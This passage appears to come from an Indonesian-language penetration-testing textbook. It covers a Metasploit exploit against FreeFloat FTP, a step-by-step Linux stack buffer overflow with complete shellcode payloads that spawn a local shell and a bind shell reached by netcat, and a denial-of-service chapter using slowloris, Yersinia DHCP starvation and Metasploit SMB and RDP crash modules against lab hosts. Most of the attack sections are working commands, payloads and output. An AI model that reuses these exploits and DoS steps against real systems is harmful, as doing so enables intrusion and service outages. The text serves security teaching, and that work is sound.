04/29/2004  01:16 PM            98,304 FTPServer.exe
               1 File(s)         98,304 bytes
               2 Dir(s)   1,405,368,320 bytes free

D:\ftp\Win32>
```

locate freefloat

use exploit/windows/ftp/freefloatxpsp0

show targets

set payload windows/shell/bind_tcp

set rhost 192.168.1.31

exploit

14.20 Buffer overflow di linux

This tutorial is based on the Computerphile video, made by Dr. Mike Pound
Sumber : https://gist.github.com/apolloclark/6cffb33f179cc9162d0a

What is GDB?

GDB, the GNU Project debugger, allows you to see what is going on `inside' another program while it executes -- or what another program was doing at the moment it crashed.

GDB can do four main kinds of things (plus other things in support of these) to help you catch bugs in the act:

- Start your program, specifying anything that might affect its behavior.
- Make your program stop on specified conditions.
- Examine what has happened, when your program has stopped.
- Change things in your program, so you can experiment with correcting the effects of one bug and go on to learn about another.

The program being debugged can be written in Ada, C, C++, Objective-C, Pascal (and many other languages). Those programs might be executing on the same machine as GDB (native) or on another machine (remote). GDB can run on most popular UNIX and Microsoft Windows variants.

Sumber : https://www.gnu.org/software/gdb/

Disable memory randomization, enable core dumps

```
cat /proc/sys/kernel/randomize_va_space
sudo bash -c 'echo "kernel.randomize_va_space = 0" >> /etc/sysctl.conf'
sudo sysctl -p
cat /proc/sys/kernel/randomize_va_space
# verify "0"
ulimit -c unlimited
ulimit -c
# verify "unlimited"
```

Scripts

http://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it

```
#!/bin/sh

while getopts "dte:h?" opt ; do
  case "$opt" in
    h|\?)
      printf "usage: %s -e KEY=VALUE prog [args...]\n" $(basename $0)
      exit 0
      ;;
    t)
      tty=1
      gdb=1
      ;;
    d)
      gdb=1
      ;;
    e)
      env=$OPTARG
      ;;
  esac
done

shift $(expr $OPTIND - 1)
prog=$(readlink -f $1)
shift
if [ -n "$gdb" ] ; then
  if [ -n "$tty" ]; then
    touch /tmp/gdb-debug-pty
    exec env - $env TERM=screen PWD=$PWD gdb -tty /tmp/gdb-debug-pty --args $prog
"$@"
```

```
  else
    exec env - $env TERM=screen PWD=$PWD gdb --args $prog "$@"
  fi
else
  exec env - $env TERM=screen PWD=$PWD $prog "$@"
fi
```

```
root@kalidata: /home/gdb
  GNU nano 2.4.3                File: vuln.c

#include <stdio.h>
#include <string.h>

int main (int argc, char** argv)
{
    char buffer[500];
    strcpy(buffer, argv[1]);

    return 0;
}
```

```
#include <stdio.h>
#include <string.h>

int main (int argc, char** argv)
{
    char buffer[500];
    strcpy(buffer, argv[1]);

    return 0;
}
```

Program vuln.c yang dibuat

```
root@kalidata:/home/gdb# gcc -z execstack -fno-stack-protector -mpreferred-stack
-boundary=2 -g vuln.c -o vuln
root@kalidata:/home/gdb# ./envexec.sh -d vuln
GNU gdb (Debian 7.10-1+b1) 7.10
Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /home/gdb/vuln...done.
(gdb)
```

```
gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -g vuln.c -o
vulnapp
```

```
./envexec.sh -d vuln
```

```
Reading symbols from /home/gdb/vuln...done.
(gdb) list
1       #include <stdio.h>
2       #include <string.h>
3
4       int main (int argc, char** argv)
5       {
6           char buffer[500];
7           strcpy(buffer, argv[1]);
8
9           return 0;
10      }
(gdb) list main
1       #include <stdio.h>
2       #include <string.h>
3
4       int main (int argc, char** argv)
5       {
6           char buffer[500];
7           strcpy(buffer, argv[1]);
8
9           return 0;
10      }
(gdb)
```

```
List
```

```
List main
```

```
(gdb) disas main
Dump of assembler code for function main:
   0x080483eb <+0>:     push   %ebp
   0x080483ec <+1>:     mov    %esp,%ebp
   0x080483ee <+3>:     sub    $0x1f4,%esp
   0x080483f4 <+9>:     mov    0xc(%ebp),%eax
   0x080483f7 <+12>:    add    $0x4,%eax
   0x080483fa <+15>:    mov    (%eax),%eax
   0x080483fc <+17>:    push   %eax
   0x080483fd <+18>:    lea    -0x1f4(%ebp),%eax
   0x08048403 <+24>:    push   %eax
   0x08048404 <+25>:    call   0x80482c0 <strcpy@plt>
   0x08048409 <+30>:    add    $0x8,%esp
   0x0804840c <+33>:    mov    $0x0,%eax
   0x08048411 <+38>:    leave
   0x08048412 <+39>:    ret
End of assembler dump.
(gdb) info os
Type       Description
cpus       Listing of all cpus/cores on the system
files      Listing of all file descriptors
modules    Listing of all loaded kernel modules
msg        Listing of all message queues
processes  Listing of all processes
procgroups Listing of all process groups
semaphores Listing of all semaphores
shm        Listing of all shared-memory regions
sockets    Listing of all internet-domain sockets
threads    Listing of all threads
(gdb)
```

Disas main

Info os

```
(gdb) info functions
All defined functions:

File vuln.c:
int main(int, char **);

Non-debugging symbols:
0x0804828c  _init
0x080482c0  strcpy@plt
0x080482d0  __libc_start_main@plt
0x080482f0  _start
0x08048320  __x86.get_pc_thunk.bx
0x08048330  deregister_tm_clones
0x08048360  register_tm_clones
0x080483a0  __do_global_dtors_aux
0x080483c0  frame_dummy
0x08048420  __libc_csu_init
0x08048480  __libc_csu_fini
0x08048484  _fini
```

Info functions

```
(gdb) info variables
All defined variables:

Non-debugging symbols:
0x08048498  _fp_hw
0x0804849c  _IO_stdin_used
0x080484a0  __GNU_EH_FRAME_HDR
0x08048588  __FRAME_END__
0x0804958c  __frame_dummy_init_array_entry
0x0804958c  __init_array_start
0x08049590  __do_global_dtors_aux_fini_array_entry
0x08049590  __init_array_end
0x08049594  __JCR_END__
0x08049594  __JCR_LIST__
0x08049598  _DYNAMIC
0x08049684  _GLOBAL_OFFSET_TABLE_
0x08049698  __data_start
0x08049698  data_start
0x0804969c  __dso_handle
0x080496a0  __TMC_END__
0x080496a0  __bss_start
0x080496a0  _edata
0x080496a0  completed
0x080496a4  _end
(gdb)
```

Info variables

```
(gdb) run Hello
Starting program: /home/gdb/vuln Hello
[Inferior 1 (process 1823) exited normally]
(gdb) run $(python -c 'print "\x41" * 508')
Starting program: /home/gdb/vuln $(python -c 'print "\x41" * 508')

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/200x ($esp - 550)
0xbffffa1a:     0xfc380804      0x1160bfff      0xfc64b7ff      0x4670bfff
0xbffffa2a:     0xfa44b7e8      0x0000bfff      0x82f00000      0x84090804
0xbffffa3a:     0xfa440804      0xfdc2bfff      0x4141bfff      0x41414141
0xbffffa4a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa5a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa6a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa7a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa8a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa9a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffaaa:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffaba:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffaca:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffada:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffaea:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffafa:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb0a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb1a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb2a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb3a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb4a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb5a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb6a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb7a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb8a:     0x41414141      0x41414141      0x41414141      0x41414141
```

```
run Hello

run $(python -c 'print "\x41" * 508')
```

```
(gdb)
(gdb) info registers
eax            0x0      0
ecx            0xbffffb0       -1073741904
edx            0xbffffc32      -1073742798
ebx            0xb7fb7000      -1208258560
esp            0xbffffc40      0xbffffc40
ebp            0x41414141      0x41414141
esi            0x0      0
edi            0x80482f0       134513392
eip            0x41414141      0x41414141
eflags         0x10296  [ PF AF SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb)
```

426+43+40=509

```
run $(python -c 'print "\x90" * 426 +
"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x2f\x62\x69\x6e\x68\x2f\x75
\x73\x72\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\
xcd\x80" + "\x51\x51\x51\x51" * 10')
```

```
(gdb) run $(python -c 'print "\x90" * 426 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe6\x50\x56\x
\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x51\x51\x51\x51" * 10')
```

Hasilnya

```
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/200x ($esp - 550)
0xbffffa1a:     0xfc380804      0x1160bfff      0xfc64b7ff      0x4670bfff
0xbffffa2a:     0xfa44b7e8      0x0000bfff      0x82f00000      0x84090804
0xbffffa3a:     0xfa440804      0xfdc2bfff      0x4141bfff      0x41414141
0xbffffa4a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa5a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa6a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa7a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa8a:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa9a:     0x41414141      0x41414141      0x41414141      0x41414141
```

x/200x ($esp - 550)

```
xbffffaea:      0x90909090      0x90909090      0x90909090      0x90909090
xbffffafa:      0x90909090      0x90909090      0x90909090      0x90909090
xbffffb0a:      0x90909090      0x90909090      0x90909090      0x90909090
xbffffb1a:      0x90909090      0x90909090      0x90909090      0x90909090
xbffffb2a:      0x90909090      0x90909090      0x90909090      0x90909090
xbffffb3a:      0x90909090      0x90909090      0x90909090      0x90909090
xbffffb4a:      0x90909090      0x90909090      0x90909090      0x90909090
xbffffb5a:      0x90909090      0x90909090      0x90909090      0x90909090
xbffffb6a:      0x90909090      0x90909090      0x90909090      0x90909090
xbffffb7a:      0x90909090      0x90909090      0x90909090      0x90909090
xbffffb8a:      0x90909090      0x90909090      0x90909090      0x90909090
xbffffb9a:      0x90909090      0x90909090      0x90909090      0x90909090
xbffffbaa:      0x90909090      0x90909090      0x90909090      0x90909090
xbffffbba:      0x90909090      0x90909090      0x90909090      0x90909090
xbffffbca:      0x90909090      0x90909090      0x90909090      0x90909090
xbffffbda:      0x90909090      0x90909090      0x90909090      0x90909090
xbffffbea:      0x90909090      0xec83c031      0x24048801      0x737a2f68
xbffffbfa:      0x68022f68      0x752f686e      0xe6897273      0x0b105650
xbffffc0a:      0xe189f389      0x80cdd231      0xdb3101b0      0x515180cd
xbffffc1a:      0x51515151      0x51515151      0x51515151      0x51515151
xbffffc2a:      0x51515151      0x51515151      0x51515151      0x51515151
xbffffc3a:      0x51515151      0x00005151      0xfcd40000      0xfce0bfff
xbffffc4a:      0x0000bfff      0x00000000      0x00000000      0x00000000
xbffffc5a:      0x81fc0000      0x06840804      0x70000001      0x0000b7fb
xbffffc6a:      0x82f00000      0x00000804      0x4e4c0000      0x6a5c1b98
xbffffc7a:      0x000027ed      0x00000000      0x00000000      0x00020000
xbffffc8a:      0x82f00000      0x00000804      0x11600000      0xc639b7ff
xbffffc9a:      0xf000b7e1      0x0002b7ff      0x82f00000      0x00000804
xbffffcaa:      0x83110000      0x83eb0804      0x00020804      0xfcd40000
xbffffcba:      0x8420bfff      0x84800804      0xbc000804      0xfcccb7fe
```

0xbf ff fa ba
\xba\xfa\xff\xbf

425+43+40=508

```
run $(python -c 'print "\x90" * 425 +
"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x68\x2f\x62\x69\x6e\x68\x2f
\x75\x73\x72\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\
xdb\xcd\x80" + "\xba\xfa\xff\xbf" * 10')
```

```
(gdb) run $(python -c 'print "\x90" * 425 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe6\x50\x56
\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\xba\xfa\xff\xbf" * 10')
Starting program: /home/gdb/vuln $(python -c 'print "\x90" * 425 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x68\x2f\x62\x69\x6e\x68\x2f\x75\
x72\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\xba\xfa\xff\xbf" * 10')
process 1857 is executing new program: /bin/zsh5
kalidata#
kalidata# ls
core  envexec.sh  vuln  vuln.c  wew.py
kalidata# ls -l
total 100
-rw------- 1 root root 221184 Aug 30 06:50 core
-rwxr-xr-x 1 root root    630 Aug 30 05:43 envexec.sh
-rwxr-xr-x 1 root root   5788 Sep 13 04:19 vuln
-rw-r--r-- 1 root root    143 Aug 30 05:44 vuln.c
-rwxrwxrwx 1 root root    306 Aug 30 06:52 wew.py
kalidata#
```

Jika lewat terminal

```
./envexec.sh /home/gdb/vuln $(python -c 'print "\x90" * 425 +
"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x68\x2f\x62\x69\x6e\x68\x2f
\x75\x73\x72\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\
xdb\xcd\x80" + "\xba\xfa\xff\xbf" * 10')
```

```
root@kalidata:/home/gdb# ./envexec.sh /home/gdb/vuln $(python -c 'print "\x90" * 425 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x68\x2f\x62\x69
x6e\x68\x2f\x75\x73\x72\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\xba\xfa\xff\xbf" * 10')
kalidata# ls -l
total 100
-rwxrwxrwx 1 root root 221184 Aug 30 06:50 core
-rwxrwxrwx 1 root root    630 Aug 30 05:43 envexec.sh
-rwxrwxrwx 1 root root   5788 Sep 13 04:19 vuln
-rwxrwxrwx 1 root root    143 Aug 30 05:44 vuln.c
-rwxrwxrwx 1 root root    306 Aug 30 06:52 wew.py
kalidata#
```

Mengganti shellcode

http://shell-storm.org/shellcode/files/shellcode-836.php

./envexec.sh /home/gdb/vuln $(python -c 'print "\x90" * 395 +
"\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68\x2b\x67\x6a\x10\
x51\x50\xb0\x66\x89\xe1\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd\x80\xb0\x66\x43\xcd\x80\x59\x93\x
6a\x3f\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\xcd\x80"
+ "\xba\xfa\xff\xbf" * 10')

Service yang akan hidup adalah service dengan port 11111

```
C:\netcat>nc 192.168.1.28 11111
pwd
/home/gdb
whoami
kurniawan

C:\netcat>
```

Kali linux teremote

Bab 15

Denial of Service

15.1 Denial of Service

In computing, a denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a machine or network resource unavailable to its intended users

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/Denial-of-service_attack

15.2 Slowloris

Slowloris is a piece of software written by Robert "RSnake" Hansen which allows a single machine to take down another machine's web server with minimal bandwidth and side effects on unrelated services and ports.

Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. It accomplishes this by opening connections to the target web server and sending a partial request. Periodically, it will send subsequent HTTP headers, adding to—but never completing—the request. Affected servers will keep these connections open, filling their maximum concurrent connection pool, eventually denying additional connection attempts from clients.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/Slowloris_%28software%29

Format perintah : perl slowloris.pl -dns [site/ip] -port 80 -timeout 20 -num 500 -cache

Contoh pengujian untuk membuat down APACHE Server dari XAMPP Windows

Apache aktif

IP web server dapat diakses secara normal

DoS dilakukan dengan slowloris

Reload current page

Hasil dari DoS adalah web server dengan ip address 192.168.1.127 tidak dapat diakses

Contoh untuk Apache Server dari Ubuntu 16.04.1

Apache server diaktifkan

```
[sudo] password for data:
root@ubuntu:/home/data# service apache2 start
root@ubuntu:/home/data# uname -a
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016
i686 i686 GNU/Linux
root@ubuntu:/home/data# ifconfig
enp0s3    Link encap:Ethernet  HWaddr 08:00:27:01:e2:c1
          inet addr:192.168.1.100  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe01:e2c1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:11323 errors:0 dropped:0 overruns:0 frame:0
          TX packets:8753 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:16768837 (16.7 MB)  TX bytes:638563 (638.5 KB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:160 errors:0 dropped:0 overruns:0 frame:0
          TX packets:160 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:11840 (11.8 KB)  TX bytes:11840 (11.8 KB)

root@ubuntu:/home/data# _
```

Ip address Ubuntu 16.04

Saat diakses berjalan normal

```
root@dhcppc4:/home# perl slowloris.pl -dns 192.168.1.100 -port 80 -timeout 5000
-num 50000 -cache
CCCCCCCCCCOOCCOOOOO888@8@88880000CCOOO888888888@@@@@@@@@8@8@@@@88800Coooccc::::
CCCCCCCCCCCCCCCOO888@888888000CCCOOOO888888888888@88888@@@@@@@888@800CCoococc:::
CCCCCCCCCCCCCCOO88@@888888000000000888888808888888808080008888@88@@800COOOCoc::
CCCCoooooCCCO88@@8@88@88800000008888888888800000000CCCCCOOOO888@8888000Cc::::
CooCoCoooCCCO8@88@888888800088888888888888888800000CCCoooooooCCOOO8888888Cocooc:
oooooCoCCC88@88888@88800888888888888888808088800CCCoooocccccCOOO088@8880Coccc
```

DoS dengan slowloris dilakukan

Reload current page

Hasilnya web server Ubuntu 16.04.1 down

Contoh lain jika target menggunakan Mikrotik 6.33

Web mikrotik dengan ip address 192.168.1.139 dapat diakses

DoS dilakukan

Web mikrotik yang ada di ip address 192.168.1.139 mengalami down

Contoh lain untuk target access point TP-LINK

Web Access point TP-LINK dapat diakses

DoS dilakukan

Reload current page

Web admin TP-LINK tidak dapat diakses

Ket :
Untuk DoS IP Publik di materi tersendiri di kelas

15.3 Yersinia

Yersinia is a network tool designed to take advantage of some weakeness in different network protocols. It pretends to be a solid framework for analyzing and testing the deployed networks and systems.

Currently, there are some network protocols implemented, but others are coming (tell us which one is your preferred). Attacks for the following network protocols are implemented (but of course you are free for implementing new ones):

- Spanning Tree Protocol (STP)
- Cisco Discovery Protocol (CDP)
- Dynamic Trunking Protocol (DTP)
- Dynamic Host Configuration Protocol (DHCP)
- Hot Standby Router Protocol (HSRP)
- IEEE 802.1Q
- IEEE 802.1X
- Inter-Switch Link Protocol (ISL)
- VLAN Trunking Protocol (VTP)

Sumber : Yersinia.net - http://www.yersinia.net/index.htm

Untuk menjalankannya ketik Yersinia -G lalu enter

```
root@dhcppc4:~# yersinia -G

(yersinia:2860): Gtk-WARNING **: gtk_menu_attach_to_widget(): me
hed to GtkImageMenuItem

(yersinia:2860): Gtk-WARNING **: gtk_menu_attach_to_widget(): me
hed to GtkImageMenuItem

(yersinia:2860): Gtk-CRITICAL **: gtk_widget_ref: assertion `GTK_
et)' failed
```

Pilih Launch Attack

Pilih DHCP lalu pilih Send DISCOVER packet, lalu klik OK

Hasil dari serangan discover packet ke DHCP Server

Client dengan konfigurasi ip address membutuhkan DHCP Server untuk tersambung ke jaringan

Client tidak mendapatkan ip address dari DHCP Server

```
C:\Documents and Settings\pc2>ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 0.0.0.0
        Subnet Mask . . . . . . . . . . . : 0.0.0.0
        Default Gateway . . . . . . . . . :

C:\Documents and Settings\pc2>ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        Autoconfiguration IP Address. . . : 169.254.79.29
        Subnet Mask . . . . . . . . . . . : 255.255.0.0
        Default Gateway . . . . . . . . . :

C:\Documents and Settings\pc2>
```

View status of this connection

Saat Yersinia tidak diaktifkan, maka client kembali normal mendapatkan IP address dari DHCP Server.

```
C:\Documents and Settings\pc2>ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.1.100
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.1

C:\Documents and Settings\pc2>
```

15.4 DoS SMB Windows XP / 2003 Server

Microsoft Security Bulletin MS06-063

http://technet.microsoft.com/en-us/security/bulletin/ms06-063

Vulnerability in Server Service Could Allow Denial of

Service and Remote Code Execution (923414)

Published: Tuesday, October 10, 2006 | Updated: Wednesday, October 11, 2006

Version: 1.1

Summary

Who Should Read this Document: Customers who use Microsoft Windows

Impact of Vulnerability: Denial of Service and Remote Code Execution

Maximum Severity Rating: Important

Affected Software:

- Microsoft Windows 2000 Service Pack 4
- Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2
- Microsoft Windows XP Professional x64 Edition
- Microsoft Windows Server 2003 and Microsoft Windows Server 2003 Service Pack 1
- Microsoft Windows Server 2003 for Itanium-based Systems and Microsoft Windows Server 2003 with SP1 for Itanium-based Systems
- Microsoft Windows Server 2003 x64 Edition

Cari Auxiliary/dos/windows/smb/ms06_063_trans

```
msf > use auxiliary/dos/windows/smb/ms06_063_trans
msf  auxiliary(ms06_063_trans) > show options

Module options (auxiliary/dos/windows/smb/ms06_063_trans):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  445              yes       Set the SMB service port

msf  auxiliary(ms06_063_trans) > set rhost 192.168.1.31
rhost => 192.168.1.31
msf  auxiliary(ms06_063_trans) > exploit

[*] Connecting to the target system...
[*] Sending bad SMB transaction request 1...
[*] Sending bad SMB transaction request 2...
[*] Sending bad SMB transaction request 3...
[*] Sending bad SMB transaction request 4...
[*] Sending bad SMB transaction request 5...
[*] Auxiliary module execution completed
msf  auxiliary(ms06_063_trans) >
```

use auxiliary/dos/windows/smb/ms06_063_trans

show options untuk melihat apa yang kurang, ternyata pada Current Setting belum diisi bagian RHOST, di RHOST dapat diisi dengan perintah :

set rhost 192.168.1.31

Perintah Exploit untuk menjalankan exploit

15.5 DoS SMB Windows Vista / Windows Server 2008

Microsoft Security Bulletin MS09-050 - Critical

Vulnerabilities in SMBv2 Could Allow Remote Code Execution (975517)

Published: Tuesday, October 13, 2009 | Updated: Wednesday, October 14, 2009

Version: 1.1

General Information

Executive Summary

This security update resolves one publicly disclosed and two privately reported vulnerabilities in Server Message Block Version 2 (SMBv2). The most severe of the vulnerabilities could allow remote code execution if an attacker sent a specially crafted SMB packet to a computer running the Server service. Firewall best practices and standard default firewall configurations can help protect networks from attacks that originate from outside the enterprise perimeter. Best practices recommend that systems that are connected to the Internet have a minimal number of ports exposed.

Affected Software

Operating System	Maximum Security Impact	Aggregate Severity Rating	Bulletins Replaced this Update
Windows Vista, Windows Vista Service Pack 1, and Windows Vista Service Pack 2	Remote Code Execution	Critical	None
Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1, and Windows Vista x64 Edition Service Pack 2	Remote Code Execution	Critical	None
Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2*	Remote Code Execution	Critical	None
Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2*	Remote Code Execution	Critical	None
Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2	Remote Code Execution	Critical	None

***Windows Server 2008 Server Core installation affected.** For supported editions of Windows Server 2008, this update applies, with the same se rating, whether or not Windows Server 2008 was installed using the Server Core installation option. For more information on this installation option, Server Core. Note that the Server Core installation option does not apply to certain editions of Windows Server 2008; see Compare Server Core

Lihat auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh

```
msf  auxiliary(ms06_063_trans) > use auxiliary/dos/windows/smb/ms09_050_smb2_neg
otiate_pidhigh
msf  auxiliary(ms09_050_smb2_negotiate_pidhigh) > show options

Module options (auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   OFFSET  65535            yes       The function table offset to call
   RHOST                    yes       The target address
   RPORT   445              yes       The target port

msf  auxiliary(ms09_050_smb2_negotiate_pidhigh) > set rhost 192.168.1.59
rhost => 192.168.1.59
msf  auxiliary(ms09_050_smb2_negotiate_pidhigh) > exploit

[*] Sending request and waiting for a reply...
[*] The target system has likely crashed
[*] Auxiliary module execution completed
msf  auxiliary(ms09_050_smb2_negotiate_pidhigh) >
```

use auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh

show options

set rhost 192.168.1.59

exploit

15.6 DoS RDP Windows 7

http://technet.microsoft.com/en-us/security/bulletin/ms12-053

Microsoft Security Bulletin MS12-020 - Critical

Vulnerabilities in Remote Desktop Could Allow Remote Code Execution (2671387)

Published: Tuesday, March 13, 2012 | Updated: Tuesday, July 31, 2012

Version: 2.1

General Information

Executive Summary

This security update resolves two privately reported vulnerabilities in the Remote Desktop Protocol. The more severe of these vulnerabilities could allow remote code execution if an attacker sends a sequence of specially crafted RDP packets to an affected system. By default, the Remote Desktop Protocol (RDP) is not enabled on any Windows operating system. Systems that do not have RDP enabled are not at risk.

Remote desktop Windows harus aktif

search ms12

```
msf  exploit(ms09_050_smb2_negotiate_func_index) > search ms12
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                                                     Disclosure Date  Ran
       Description
   ----                                                     ---------------  ---
       -----------
   auxiliary/dos/windows/rdp/ms12_020_maxchannelids         2012-03-16       nor
al     MS12-020 Microsoft Remote Desktop Use-After-Free DoS
   auxiliary/scanner/rdp/ms12_020_check                                      nor
al     MS12-020 Microsoft Remote Desktop Checker
   exploit/windows/browser/ie_execcommand_uaf               2012-09-14       goo
       MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerab
```

Cari auxiliary/dos/windows/rdp/ms12_020

```
msf  auxiliary(ms12_020_maxchannelids) > use auxiliary/dos/windows/rdp/ms12_020_
maxchannelids
msf  auxiliary(ms12_020_maxchannelids) > show options

Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  3389             yes       The target port

msf  auxiliary(ms12_020_maxchannelids) > set rhost 192.168.1.103
rhost => 192.168.1.103
msf  auxiliary(ms12_020_maxchannelids) > exploit

[*] 192.168.1.103:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Fre
e DoS
[*] 192.168.1.103:3389 - 210 bytes sent
[*] 192.168.1.103:3389 - Checking RDP status...
```

use auxiliary/dos/windows/rdp/ms12_020

set rhost 192.168.1.103

exploit

15.7 Fuzzing target SMB Windows 8 untuk membuat CPU target meningkat menjadi 100%

Tampilan Windows 8 dengan ip address 192.168.1.235

Hasil dari NMAP terdeteksi port 445 open

```
st script results:
nbstat: NetBIOS name: WIN-IO4URVMJLB8, NetBIOS user: <unknown>, NetBIOS
smb-os-discovery:
  OS: Windows 8 Pro 9200 (Windows 8 Pro 6.2)
  NetBIOS computer name: WIN-IO4URVMJLB8
  Workgroup: WORKGROUP
  System time: 2016-09-12T20:03:38-07:00
smb-security-mode:
  Account that was used for smb scripts: <blank>
  User-level authentication
  SMB Security: Challenge/response passwords supported
  Message signing disabled (dangerous, but default)
smbv2-enabled: Server supports SMBv2 protocol

ACEROUTE
P RTT     ADDRESS
  1.34 ms 192.168.1.235
```

Sistem operasi terdeteksi Windows 8

```
root@kalilinux5:~# msfconsole

Save your shells from AV! Upgrade to advanced AV evasion using dynamic
exe templates with Metasploit Pro -- type 'go_pro' to launch it now.

       =[ metasploit v4.8.2-2014010101 [core:4.8 api:1.0]
+ -- --=[ 1246 exploits - 678 auxiliary - 198 post
+ -- --=[ 324 payloads - 32 encoders - 8 nops

msf > search smb
[!] Database not connected or cache not built, using slow search
```

Search smb

```
